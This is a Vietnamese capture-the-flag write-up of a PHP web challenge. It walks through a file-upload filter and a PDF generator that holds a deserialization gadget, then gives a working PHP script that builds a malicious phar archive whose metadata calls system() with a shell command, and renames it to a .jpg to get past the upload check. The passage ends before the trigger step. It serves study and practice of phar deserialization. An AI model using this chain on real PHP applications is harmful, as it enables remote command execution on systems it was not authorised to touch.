image.png

Trên là thử thách của web1 có thể xem cụ thể source code ở đay : Writeup_ChungKetCTF_PTIT-Web-Exploitation-/web1_whitebox at main · TranDongA3/Writeup_ChungKetCTF_PTIT-Web-Exploitation-

image.png

image.png

Sau khi đọc sơ qua source code thì mình quyết định đăng ký đăng nhập vào bình thường để bước vào chức năng chính là upload.

<?php

require_once 'config.php';

if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    header("Location: login.php");
    exit();
}

$uploadMessage = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['image'])) {
    $file = $_FILES['image'];

    if ($file['error'] !== UPLOAD_ERR_OK) {
        $uploadMessage = '<h1 class="warning">Lỗi khi upload file.</h1>';
    } elseif ($file['size'] > 5 * 1024 * 1024) { // 5MB
        $uploadMessage = '<h1 class="warning">File vượt quá kích thước tối đa 5MB.</h1>';
    } else {
        $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
        $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($file['type'], $allowedTypes) || strpos($fileExtension, 'php') !== false) {
            $uploadMessage = '<h1 class="warning">Chỉ chấp nhận các định dạng ảnh: JPEG, PNG, GIF.</h1>';
        } else {
            $uploadDir = 'uploads/';
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }

            $filePath = $uploadDir . basename($file['name']);
            if (move_uploaded_file($file['tmp_name'], $filePath)) {
                $uploadMessage = '<h1 class="success">Upload thành công! File được lưu tại: ' . htmlspecialchars($filePath) . '</h1>';
            } else {
                $uploadMessage = '<h1 class="warning">Có lỗi xảy ra khi lưu file.</h1>';
            }
        }
    }
}
?>

Ở đây nó chỉ cho phép upload những file liên quan đến ảnh thôi , nên khi up những file php thì nó sẽ không cho phép . Mình cũng đã thử một số trick bypass extension (File Upload - HackTricks) nhưng tất cả đều không hiệu quả.

Sau một hồi thử bypass upload thì mình đã chuyển qua đọc code chức năng của genPDF:

<?php
require __DIR__ . '/vendor/autoload.php';
require_once 'config.php'; 

if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    header("Location: login.php");
    exit();
}

use Knp\\Snappy\\Pdf;

class PoC
{
    private $a;
    private $b;

    function __construct()
    {
        $this->a = 'date';
        $this->b = 'Y-m-d h:i:s';
    }

    function __wakeup()
    {
        $x = $this->a;
        $y = $this->b;
        return $x($y);
    }
}

$htmlContent = '';
$savePath = '';
$pdfMessage = '';
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $htmlContent = $_POST['htmlContent'] ?? '';
    $savePath = $_POST['savePath'] ?? '';

    if (empty($htmlContent)) {
        $pdfMessage = '<h1 class="warning">Vui lòng nhập mã HTML để tạo PDF.</h1>';
    } elseif (empty($savePath)) {
        $pdfMessage = '<h1 class="warning">Vui lòng nhập đường dẫn để lưu file PDF.</h1>';
    } else {
        $snappy = new Pdf('/usr/bin/wkhtmltopdf');
        try {
            $snappy->generateFromHtml($htmlContent, $savePath);
            $pdfMessage = '<h1 class="success">PDF được tạo thành công tại: ' . htmlspecialchars($savePath) . '</h1>';
        } catch (Exception $e) {
            $pdfMessage = '<h1 class="warning">Có lỗi xảy ra khi lưu file PDF.</h1>';
        }
    }
}
?>

Ở đây khi đọc ban đầu thì mình cũng nghĩ là chức năng nhập mã html bình thường và genPDF thôi nhưng mà tại sao ở đây nó lại ghi lại ghi như này làm mình chú ý:

function __wakeup() { $x = $this->a; $y = $this->b; return $x($y); } }

Giả sử nếu là x là system và y là id thì sao thì nó sẽ thực hiện lệnh hệ thống luôn à . Ở đây làm mình nghỉ đến lổ hổng PHP Object Injection liên quan đến serilize và deserilize , nhưng mà nó lại không có hàm để kích hoạt unserilize , nhưng mà mình thấy đề bài có ghi một cái hint là

image.png

Đúng v đó là giao thức phar. Để hiểu rõ nó như thế nào thì tìm hiểu ở trang web : https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/phar-deserialization.html

image.png

Hiểu cơ bản thì phar nó giống như một cái tệp nén nhiều file vậy và trong đó có phần manifest nó lưu metadata ở dạng serilize vậy sẽ như thế nào nếu ta kiểm soát cái dữ liệu serilize này. Tuần tự thì mình sẽ làm như sau:

Bước 1 : Mình sẽ tạo một file php như sau:

<?php
      class PoC
      {
          public $a;
          public $b;
          function __construct() { $this->a = 'date'; $this->b = 'Y-m-d h:i:s'; }
          function __wakeup() { $x = $this->a; $y = $this->b; return $x($y); }
      }
      if (file_exists('shell.phar')) { unlink('shell.phar'); }
      $poc = new PoC();
      $poc->a = 'system';
      $poc->b = 'ls / > uploads/kole.txt';
      $phar = new Phar('shell.phar');
      $phar->startBuffering();
      $phar->addFromString('test.txt', 'text');
      $phar->setMetadata($poc);
      $phar->stopBuffering();
      echo "[+] Da tao thanh cong file shell.phar\\n";
      ?>

Code này sẽ giúp mình tạo một file Phar có đúng cấu trúc , với đối tượng serilize lợi dụng đối tượng được khai báo trong code genPDF mục đích sẽ thực hiện hàm __wakeup() hàm thực thi khi đối tượng được deserilize . Chạy file này bằng lệnh : php -d phar.readonly=0 create_phar.php .

Nó sẽ tạo ra một file tên là shell.phar .

Bước 2: Mình sẽ chuyển file shell.phar đó thành shell.jpg để có thể tiến hành upload lên đường dẫn uploads/ ở index.php .